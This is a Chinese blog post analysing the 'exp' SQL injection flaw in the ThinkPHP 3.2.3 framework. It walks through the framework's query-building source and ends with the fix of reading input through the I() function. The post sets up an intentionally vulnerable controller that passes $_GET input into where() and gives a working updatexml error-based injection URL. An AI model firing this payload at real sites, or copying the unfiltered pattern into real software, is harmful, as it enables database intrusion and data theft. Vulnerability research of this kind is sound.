ThinkPHP3.2.3框架exp注入

这个注入与bind注入差不多

环境搭建

直接在IndexController.class.php中创建一个demo

public function index(){
        $map=array();
        $map['id']=$_GET['id'];
        $data=M('users')->where($map)->find();
        dump($data);
    }

数据库配置:

<?php
return array(
    //'配置项'=>'配置值'
    'DB_TYPE'           =>  'mysql',
    'DB_HOST'           =>  'localhost',
    'DB_NAME'           =>  'thinkphp',
    'DB_USER'           =>  'root',
    'DB_PWD'            =>  'root',
    'DB_PORT'           =>  '3306',
    'DB_FIELDS_CACHE'   =>  true,
    'SHOW_PAGE_TRACE'   =>  true,
);

漏洞分析

payload:

http://127.0.0.1/thinkphp32/index.php?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7,user(),0x7e),1)

indexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $map=array();
        $map['id']=$_GET['id'];
        $data=M('users')->where($map)->find();
        dump($data);
    }
}

可以看到这里并没有使用I函数使用I函数则不会产生exp注入),原因我们在之后分析,我们先来分析这个注入。直接跟入where函数:

image-20201015115649820

可以看到跟以前一样,由于传入的是数组,直接将id数组赋值给了$this->options['where'],然后返回。

继续跟入find,还是跟以前一样,需要关注的两个位置是:

$options            =   $this->_parseOptions($options);
$resultSet          =   $this->db->select($options);

先来跟入$this->_parseOptions($options);

/**
 * 分析表达式
 * @access protected
 * @param array $options 表达式参数
 * @return array
 */
protected function _parseOptions($options=array()) {
    if(is_array($options))
        $options =  array_merge($this->options,$options);

    if(!isset($options['table'])){
        // 自动获取表名
        $options['table']   =   $this->getTableName();
        $fields             =   $this->fields;
    }else{
        // 指定数据表 则重新获取字段列表 但不支持类型检测
        $fields             =   $this->getDbFields();
    }

    // 数据表别名
    if(!empty($options['alias'])) {
        $options['table']  .=   ' '.$options['alias'];
    }
    // 记录操作的模型名称
    $options['model']       =   $this->name;

    // 字段类型验证
    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
        // 对数组查询条件进行字段类型检查
        foreach ($options['where'] as $key=>$val){
            $key            =   trim($key);
            if(in_array($key,$fields,true)){
                if(is_scalar($val)) {
                    $this->_parseType($options['where'],$key);
                }
            }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                if(!empty($this->options['strict'])){
                    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                } 
                unset($options['where'][$key]);
            }
        }
    }
    // 查询过后清空sql表达式组装 避免影响下次查询
    $this->options  =   array();
    // 表达式过滤
    $this->_options_filter($options);
    return $options;
}

可以看到由于传入数组所以在if(is_scalar($val))处并没有进入_parseType进行类型转换,最后返回,接下分析$this->db->select($options):

image-20201015150208317

继续进入$this->buildSelectSql($options);:

image-20201015150319934

然后是$this->parseSql($this->selectSql,$options);:

image-20201015150358691

之后重点在这个parseWhere中的parseWhereItem函数,和bind基本一样。

image-20201015150849893

可以看到在parseWhereItem直接进行了拼接,拼接结果为:

`id` =1 and updatexml(1,concat(0x7,user(),0x7e),1)

最后返回最终拼接结果为:

image-20201015151103214

造成了sql注入。

最后回到一开始的I函数问题,在I函数内部的think_filter中,对exp进行了正则匹配,如果匹配到了会在其后面加空格,从而使得后面的将会对其进行处理无法正确拼接sql注入语句。

image-20201015153932710

image-20201015154337895

修复

在取出传入参数时使用I函数即可避免产生exp注入。

参考

  1. ThinkPHP漏洞分析集合
  2. 代码审计之Thinkphp3.2.3
posted @ 2020-10-16 09:58  lktop  阅读(1181)  评论(0编辑  收藏  举报